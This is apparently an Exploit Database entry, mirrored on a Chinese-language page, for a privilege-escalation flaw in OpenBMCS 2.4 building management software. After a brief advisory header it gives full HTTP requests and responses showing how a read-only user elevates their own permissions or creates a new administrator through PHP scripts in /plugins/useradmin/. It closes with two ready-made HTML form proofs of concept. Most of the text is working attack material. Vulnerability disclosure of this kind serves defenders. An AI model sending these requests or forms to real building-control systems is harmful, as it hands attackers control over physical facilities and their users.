OpenBMCS 2.4 – Create Admin / Remote Privilege Escalation

• Exploit Database
• 34 阅读

• 作者： LiquidWorm
  日期： 2022-01-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50669/

• # Exploit Title: OpenBMCS 2.4 - Create Admin / Remote Privilege Escalation
  # Exploit Author: LiquidWorm
  # Date: 26/10/2021
  
  OpenBMCS 2.4 Create Admin / Remote Privilege Escalation
  
  
  Vendor: OPEN BMCS
  Product web page: https://www.openbmcs.com
  Affected version: 2.4
  
  Summary: Building Management & Controls System (BMCS). No matter what the
  size of your business, the OpenBMCS software has the ability to expand to
  hundreds of controllers. Our product can control and monitor anything from
  a garage door to a complete campus wide network, with everything you need
  on board.
  
  Desc: The application suffers from an insecure permissions and privilege
  escalation vulnerability. A regular user can create administrative users
  and/or elevate her privileges by sending an HTTP POST request to specific
  PHP scripts in '/plugins/useradmin/' directory.
  
  Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)
   Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)
   Apache/2.4.41 (Ubuntu)
   Apache/2.4.25 (Debian)
   nginx/1.16.1
   PHP/7.4.3
   PHP/7.0.33-0+deb9u9
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2022-5693
  Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5693.php
  
  
  26.10.2021
  
  --
  
  
  List current ID and permissions (read):
  ---------------------------------------
  
  POST /plugins/useradmin/getUserDetails.php HTTP/1.1
  Host: 192.168.1.222
  Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
  Content-Length: 16
  Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
  Accept: */*
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Sec-Ch-Ua-Mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
  Sec-Ch-Ua-Platform: "Windows"
  Origin: https://192.168.1.222
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: https://192.168.1.222/index.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Connection: close
  
  id_list%5B%5D=17
  
  
  HTTP/1.1 200 OK
  Date: Tue, 16 Nov 2021 20:56:53 GMT
  Server: Apache/2.4.41 (Ubuntu)
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate
  Pragma: no-cache
  Vary: Accept-Encoding
  Content-Length: 692
  Connection: close
  Content-Type: text/html; charset=UTF-8
  
  [{"user_id":"17","username":"testingus","email":"","expiry_date":null,"fullname":"test","phone":"","module_id":"useradmin","usermodule_permission":"1","permissions":[{"user_id":"17","module_id":"alarms","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"controllers","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"core","permissions":"0","mod_home":"0"},{"user_id":"17","module_id":"graphics","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"history","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"progtool","permissions":"1","mod_home":"0"},{"user_id":"17","module_id":"useradmin","permissions":"1","mod_home":"0"}],"human-date":""}]
  
  
  
  List current ID and permissions (admin):
  ----------------------------------------
  
  POST /plugins/useradmin/getUserDetails.php HTTP/1.1
  Host: 192.168.1.222
  Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
  Content-Length: 16
  Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
  Accept: */*
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Sec-Ch-Ua-Mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
  Sec-Ch-Ua-Platform: "Windows"
  Origin: https://192.168.1.222
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: https://192.168.1.222/index.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Connection: close
  
  id_list%5B%5D=18
  
  HTTP/1.1 200 OK
  Date: Tue, 16 Nov 2021 20:56:36 GMT
  Server: Apache/2.4.41 (Ubuntu)
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate
  Pragma: no-cache
  Vary: Accept-Encoding
  Content-Length: 725
  Connection: close
  Content-Type: text/html; charset=UTF-8
  
  [{"user_id":"18","username":"testingus2","email":"testingus@test.tld","expiry_date":null,"fullname":"TestName","phone":"1112223333","module_id":"useradmin","usermodule_permission":"4","permissions":[{"user_id":"18","module_id":"alarms","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"controllers","permissions":"2","mod_home":"1"},{"user_id":"18","module_id":"core","permissions":"1","mod_home":"0"},{"user_id":"18","module_id":"graphics","permissions":"4","mod_home":"1"},{"user_id":"18","module_id":"history","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"progtool","permissions":"3","mod_home":"0"},{"user_id":"18","module_id":"useradmin","permissions":"4","mod_home":"0"}],"human-date":""}]
  
  
  
  Escalate privileges:
  --------------------
  
  POST /plugins/useradmin/update_user_permissions.php HTTP/1.1
  Host: 192.168.1.222
  Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
  Content-Length: 702
  Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
  Accept: */*
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Sec-Ch-Ua-Mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
  Sec-Ch-Ua-Platform: "Windows"
  Origin: https://192.168.1.222
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: https://192.168.1.222/index.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Connection: close
  
  permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5BmoduleID%5D=useradmin&id=17
  
  
  HTTP/1.1 200 OK
  Date: Tue, 16 Nov 2021 20:58:48 GMT
  Server: Apache/2.4.41 (Ubuntu)
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate
  Pragma: no-cache
  Content-Length: 1
  Connection: close
  Content-Type: text/html; charset=UTF-8
  
  2
  
  
  
  Create admin from read user:
  ----------------------------
  
  POST /plugins/useradmin/create_user.php HTTP/1.1
  Host: 192.168.1.222
  Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
  Content-Length: 1010
  Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
  Accept: */*
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Sec-Ch-Ua-Mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
  Sec-Ch-Ua-Platform: "Windows"
  Origin: https://192.168.1.222
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: https://192.168.1.222/index.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Connection: close
  
  user%5Busername%5D=testingus2&user%5Bfullname%5D=TestName&user%5Bphone%5D=1112223333&user%5Bpassword%5D=Password123&user%5BpasswordConfirm%5D=Password123&user%5Bemail%5D=testingus%40test.tld&user%5Bexpiry%5D=&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5Bmod_home%5D=0&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5Bmod_home%5D=0&permissions%5B6%5D%5BmoduleID%5D=useradmin&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5Bmod_home%5D=0
  
  
  HTTP/1.1 200 OK
  Date: Tue, 16 Nov 2021 20:18:58 GMT
  Server: Apache/2.4.41 (Ubuntu)
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate
  Pragma: no-cache
  Content-Length: 20
  Connection: close
  Content-Type: text/html; charset=UTF-8
  
  {"status":"success"}
  
  
  
  PoC escalate from editor to admin:
  ----------------------------------
  
  <html>
  <body>
  <form action="https://192.168.1.222/plugins/useradmin/update_user_permissions.php" method="POST">
  <input type="hidden" name="permissions[0][permissions]" value="3" />
  <input type="hidden" name="permissions[0][moduleID]" value="alarms" />
  <input type="hidden" name="permissions[0][mod_home]" value="1" />
  <input type="hidden" name="permissions[1][permissions]" value="2" />
  <input type="hidden" name="permissions[1][moduleID]" value="controllers" />
  <input type="hidden" name="permissions[1][mod_home]" value="1" />
  <input type="hidden" name="permissions[2][permissions]" value="1" />
  <input type="hidden" name="permissions[2][moduleID]" value="core" />
  <input type="hidden" name="permissions[3][permissions]" value="4" />
  <input type="hidden" name="permissions[3][moduleID]" value="graphics" />
  <input type="hidden" name="permissions[3][mod_home]" value="1" />
  <input type="hidden" name="permissions[4][permissions]" value="3" />
  <input type="hidden" name="permissions[4][moduleID]" value="history" />
  <input type="hidden" name="permissions[4][mod_home]" value="1" />
  <input type="hidden" name="permissions[5][permissions]" value="3" />
  <input type="hidden" name="permissions[5][moduleID]" value="progtool" />
  <input type="hidden" name="permissions[6][permissions]" value="4" />
  <input type="hidden" name="permissions[6][moduleID]" value="useradmin" />
  <input type="hidden" name="id" value="17" />
  <input type="submit" value="Esc" />
  </form>
  </body>
  </html>
  
  
  
  PoC create admin from editor:
  -----------------------------
  
  <html>
  <body>
  <form action="https://192.168.1.222/plugins/useradmin/create_user.php" method="POST">
  <input type="hidden" name="user[username]" value="testingus2" />
  <input type="hidden" name="user[fullname]" value="TestName" />
  <input type="hidden" name="user[phone]" value="1112223333" />
  <input type="hidden" name="user[password]" value="Password123" />
  <input type="hidden" name="user[passwordConfirm]" value="Password123" />
  <input type="hidden" name="user[email]" value="testingus@test.tld" />
  <input type="hidden" name="user[expiry]" value="" />
  <input type="hidden" name="permissions[0][moduleID]" value="alarms" />
  <input type="hidden" name="permissions[0][permissions]" value="3" />
  <input type="hidden" name="permissions[0][mod_home]" value="1" />
  <input type="hidden" name="permissions[1][moduleID]" value="controllers" />
  <input type="hidden" name="permissions[1][permissions]" value="2" />
  <input type="hidden" name="permissions[1][mod_home]" value="1" />
  <input type="hidden" name="permissions[2][moduleID]" value="core" />
  <input type="hidden" name="permissions[2][permissions]" value="1" />
  <input type="hidden" name="permissions[2][mod_home]" value="0" />
  <input type="hidden" name="permissions[3][moduleID]" value="graphics" />
  <input type="hidden" name="permissions[3][permissions]" value="4" />
  <input type="hidden" name="permissions[3][mod_home]" value="1" />
  <input type="hidden" name="permissions[4][moduleID]" value="history" />
  <input type="hidden" name="permissions[4][permissions]" value="3" />
  <input type="hidden" name="permissions[4][mod_home]" value="1" />
  <input type="hidden" name="permissions[5][moduleID]" value="progtool" />
  <input type="hidden" name="permissions[5][permissions]" value="3" />
  <input type="hidden" name="permissions[5][mod_home]" value="0" />
  <input type="hidden" name="permissions[6][moduleID]" value="useradmin" />
  <input type="hidden" name="permissions[6][permissions]" value="4" />
  <input type="hidden" name="permissions[6][mod_home]" value="0" />
  <input type="submit" value="Cre" />
  </form>
  </body>
  </html>